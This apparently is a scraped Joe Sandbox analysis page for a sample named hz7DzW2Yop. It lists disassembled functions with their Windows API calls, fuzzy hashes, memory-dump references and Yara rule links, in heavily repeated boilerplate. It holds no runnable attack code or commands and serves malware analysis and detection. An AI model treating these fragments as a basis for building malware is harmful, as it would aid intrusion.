Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: b95db6fd3edcf3dbce15798517c2447f72ecd3a3ad967b51ee3be42652c27e53
Instruction ID: 48c457bfb195cbe4a8e0272a1b10a5364694008578189fe843e2c0e58e963206
Opcode Fuzzy Hash: b95db6fd3edcf3dbce15798517c2447f72ecd3a3ad967b51ee3be42652c27e53
Instruction Fuzzy Hash: 68E06D72648650EFCB019B59DC06B4AFBA8FB89F20F00426AF416D37A0CB74A840CA90

Function 0090A243 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,0090A23A,?,0090755C,?,?,?,?), ref: 0090A254

Part of subcall function 0090BB03: _wcslen.LIBCMT ref: 0090BB27

GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,0090A23A,?,0090755C,?,?,?,?), ref: 0090A280

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 028abb8512ef94283f3dfe679381346ddf12f296c0d857525aee4352e9091062
Instruction ID: 230a8abc791ede15263018b5459445fb5dc8deb34fadbeb66a3b59bb883859e9
Opcode Fuzzy Hash: 028abb8512ef94283f3dfe679381346ddf12f296c0d857525aee4352e9091062
Instruction Fuzzy Hash: FAE092325041285BDB10AB68CC05BD9779CAB083E1F044271FD54E31D0D770DE84CAE0

Function 0091DEC2 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0091DEEC

Part of subcall function 00904092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 009040A5

SetDlgItemTextW.USER32(00000065,?), ref: 0091DF03

Part of subcall function 0091B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0091B579
Part of subcall function 0091B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0091B58A
Part of subcall function 0091B568: IsDialogMessageW.USER32(00010464,?), ref: 0091B59E
Part of subcall function 0091B568: TranslateMessage.USER32(?), ref: 0091B5AC
Part of subcall function 0091B568: DispatchMessageW.USER32(?), ref: 0091B5B6

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: b6677fa6c20f84a2b4b095ba9397beecd17a35cff889c8888a295d17b0fe5051
Instruction ID: eb6076c32ab6551c8be50bf1128b4055d59a7c2855266b322335d656fc5f2145
Opcode Fuzzy Hash: b6677fa6c20f84a2b4b095ba9397beecd17a35cff889c8888a295d17b0fe5051
Instruction Fuzzy Hash: 7AE092B65182482ADF02AB60DC06FDF3BAC5B06785F440891F740EA0F3DA79EA509661

Function 0091081B Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00910836
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0090F2D8,Crypt32.dll,00000000,0090F35C,?,?,0090F33E,?,?,?), ref: 00910858

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: b333d9c13467adab73e609a15c5f529f5ee7e79bac7fc605ffe1f4c16d105cc2
Instruction ID: 938ddd5b6ae8161ce82dadf7eab2ee243f99e538243de07d2b07f5f9f1f824cf
Opcode Fuzzy Hash: b333d9c13467adab73e609a15c5f529f5ee7e79bac7fc605ffe1f4c16d105cc2
Instruction Fuzzy Hash: C8E0487691411C6BDB11A794DC45FDA77ACEF493D1F0440657645D2044D674DAC4CFF0

Function 0091A3B9 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 0091A3DA
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 0091A3E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: d26eae645bc8200d63f57a30b399689b257c8d9f0c9231e97ab5564a352d375c
Instruction ID: 95f51f2da24f31108c72b3160a2a741b6e424adcbb3ddc97b1f161cce79309a3
Opcode Fuzzy Hash: d26eae645bc8200d63f57a30b399689b257c8d9f0c9231e97ab5564a352d375c
Instruction Fuzzy Hash: 6BE0ED7160521CEBCB10DF56D5417DDBBE8EB04360F10845AA85693201E374AE44DB91

Function 00922B8C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00922BAA
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00922BB5

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: 54c6714f51dad17ac1d423e0183ea389a8ad696e46726cbca667bb5efb2052da
Instruction ID: fc56b8a6b340dc4bf5129192a951f9d7e8c23c09b8ecc56e216aa1981d636755
Opcode Fuzzy Hash: 54c6714f51dad17ac1d423e0183ea389a8ad696e46726cbca667bb5efb2052da
Instruction Fuzzy Hash: 72D022345A8330384C247F7039077493349AEC3B797A086BAFC20958CDEE188040A011

Function 009012F1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00901306
ShowWindow.USER32(00000000), ref: 0090130D

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: d28457f1ce0bfb035789a000c4541859f3372677a191ba4b14a8c9f730e17aea
Instruction ID: 890ed3abb802501d46daf9f6d8548b0817fc2414174ebfe3692c8e0123f5a846
Opcode Fuzzy Hash: d28457f1ce0bfb035789a000c4541859f3372677a191ba4b14a8c9f730e17aea
Instruction Fuzzy Hash: 53C0123246C200BECB010BB4DD09C2BBBA8ABA7312F06C90CF0A5C0060C238C110EB11

Function 00901A04 Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00901A09

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: ba57dc270581455cd0b81aa2e8a5d9bdacceb35699ba60719d353ca92d2626f9
Instruction ID: 6558f8e325af78fd0e3f1f125c73610e38f66160cb25f9b87a8d1a83d26238cd
Opcode Fuzzy Hash: ba57dc270581455cd0b81aa2e8a5d9bdacceb35699ba60719d353ca92d2626f9
Instruction Fuzzy Hash: 65C1B230A002549FEF19DF68C894BB97BA9AF45310F0845BAEC46DF3D6DB309984CB61

Function 00903BBA Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00903BBF

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d2d188e02c50826e18b4f596d73fc72d68f9037e95dda3bcddd7a9dc310aba51
Instruction ID: 24e1f40b62fd9870ee400f2a655af4ca566bf428f54bb587178e2e99d05251bb
Opcode Fuzzy Hash: d2d188e02c50826e18b4f596d73fc72d68f9037e95dda3bcddd7a9dc310aba51
Instruction Fuzzy Hash: 9E71C371540B449FDB35DB70C855AE7B7EDAF54300F40492EE6EB87281DA326684DF11

Function 00908284 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00908289

Part of subcall function 009013DC: __EH_prolog.LIBCMT ref: 009013E1

Part of subcall function 0090A56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0090A598

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: aea9129082cb326d683de6396d7a9c117e792b942bac48baad3156dcce86baac
Instruction ID: fd1c75ce9b63b05c5240ec249da3f9fcc6f98f53b68693e716391c15cb8c7bed
Opcode Fuzzy Hash: aea9129082cb326d683de6396d7a9c117e792b942bac48baad3156dcce86baac
Instruction Fuzzy Hash: 8E419471A446589EDB20DB60CC55BEAB3BCAF80704F4404EAE18A970D3EB755EC5CB50

Function 009013E1 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009013E1

Part of subcall function 00905E37: __EH_prolog.LIBCMT ref: 00905E3C

Part of subcall function 0090CE40: __EH_prolog.LIBCMT ref: 0090CE45

Part of subcall function 0090B505: __EH_prolog.LIBCMT ref: 0090B50A

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 61ef8cc7ee7ff625bc3d80ec3d62edf2a2c2295065f53d1ab23a2c8437810b17
Instruction ID: 30e40a04f336c2f2e6e92344bd6fe7452aaeb86d50698359ddfdc516faa90334
Opcode Fuzzy Hash: 61ef8cc7ee7ff625bc3d80ec3d62edf2a2c2295065f53d1ab23a2c8437810b17
Instruction Fuzzy Hash: B7415BB0905B449EE724CF398885AE7FBE5BF19300F50492EE5FE87292CB716694CB10

Function 009013DC Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009013E1

Part of subcall function 00905E37: __EH_prolog.LIBCMT ref: 00905E3C

Part of subcall function 0090CE40: __EH_prolog.LIBCMT ref: 0090CE45

Part of subcall function 0090B505: __EH_prolog.LIBCMT ref: 0090B50A

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8c3235e631f817e2f95c764b68366b40b1d4695c129f537b6e3dd3b04b53007d
Instruction ID: c68780df6e352518065d2a5850b999e088fc2809d78f3c4695730b0bbd370b19
Opcode Fuzzy Hash: 8c3235e631f817e2f95c764b68366b40b1d4695c129f537b6e3dd3b04b53007d
Instruction Fuzzy Hash: 724147B0905B449EE724DF798885AE6FBE5BF19300F50492EE5FE83282CB716694CB10

Function 0091B093 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0091B098

Part of subcall function 009013DC: __EH_prolog.LIBCMT ref: 009013E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 39f9937a7dc5dc102b2726b9d212c2b794f38f8ac66a06e97080e422599caec0
Instruction ID: d05c82f633e3c31233310168b11f694da44cdf9ddf2890bc2760a2034ff46e2b
Opcode Fuzzy Hash: 39f9937a7dc5dc102b2726b9d212c2b794f38f8ac66a06e97080e422599caec0
Instruction Fuzzy Hash: 78319C71D04249AFCF15DFA4D851AEEBBB8AF49300F10449EE809B7282D735AE44CBA1

Function 0092AC98 Relevance: 1.6, APIs: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 0092ACF8

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 99c41e50cb658954da94e400647c484ada8daa1ba3af6e8f82ea4264f02fd2a4
Instruction ID: 8963dd878e241b8a18bf653bc31c3cd64350946d83b6d2ac3a0a6bb840fa0588
Opcode Fuzzy Hash: 99c41e50cb658954da94e400647c484ada8daa1ba3af6e8f82ea4264f02fd2a4
Instruction Fuzzy Hash: 27110633A046359F9B26DE2CFC4095A739AAB843607164621FC55EB398D734EC019BD2

Function 00909215 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0090921A

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: f4e2f7759e61d644996e8515a60549f6cd6f64058ddd707a1261c7133a96a3e5
Instruction ID: 5547ab84f347831a14221e969a513c4be909df0dcc4f13de66309d98e53513c8
Opcode Fuzzy Hash: f4e2f7759e61d644996e8515a60549f6cd6f64058ddd707a1261c7133a96a3e5
Instruction Fuzzy Hash: D2016533D01568AFCF15ABACCD81ADEB776AFC8750F014515F826BB292DA348D04C6A0

Function 0092C479 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 0092B136: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00929813,00000001,00000364,?,00923F73,00000050,?,00941030,00000200), ref: 0092B177

_free.LIBCMT ref: 0092C4E5

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
Instruction ID: e9591bbf4c3f7a911cc378976c045c49dc24e49deb3a872e4668cadd26feb9e3
Opcode Fuzzy Hash: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
Instruction Fuzzy Hash: 000126B22003156BE3319E65A885A6AFBECEBC9330F25091DE184832C1EA30A905C724

Function 0092B136 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00929813,00000001,00000364,?,00923F73,00000050,?,00941030,00000200), ref: 0092B177

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2b95c73ae1def8af03eb404e813522b1849938ea0d6b8f828077dcee397b5c18
Instruction ID: 05bc4011aecc52a6b4e8b7c72620376021f5b192c6fa2ba636af49134aa09b7a
Opcode Fuzzy Hash: 2b95c73ae1def8af03eb404e813522b1849938ea0d6b8f828077dcee397b5c18
Instruction Fuzzy Hash: D1F0B43250D53567EB215B22BC16B5F77CCAB81770B18C111F808AA19ACB60D92186E0

Function 00923C0D Relevance: 1.5, APIs: 1, Instructions: 34libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00923C3F

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 93eb5694c90d58607773417cf757691489a6338c514f01c34501d9b608d206f0
Instruction ID: b47762709485a22cdd560fd8646c6cfe06cc3bf82e85f992ebf15ec67b9c10e5
Opcode Fuzzy Hash: 93eb5694c90d58607773417cf757691489a6338c514f01c34501d9b608d206f0
Instruction Fuzzy Hash: C4F0A0322142269F8F15CFA8FC00A9A77ADEF41B20710C124FE45E7194DB35DA20DB90

Function 00928E06 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0092CA2C,00000000,?,00926CBE,?,00000008,?,009291E0,?,?,?), ref: 00928E38

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bfd7b769b472cccbb15fa7a10d405888e3c09ea80c493a364842663e8bac6536
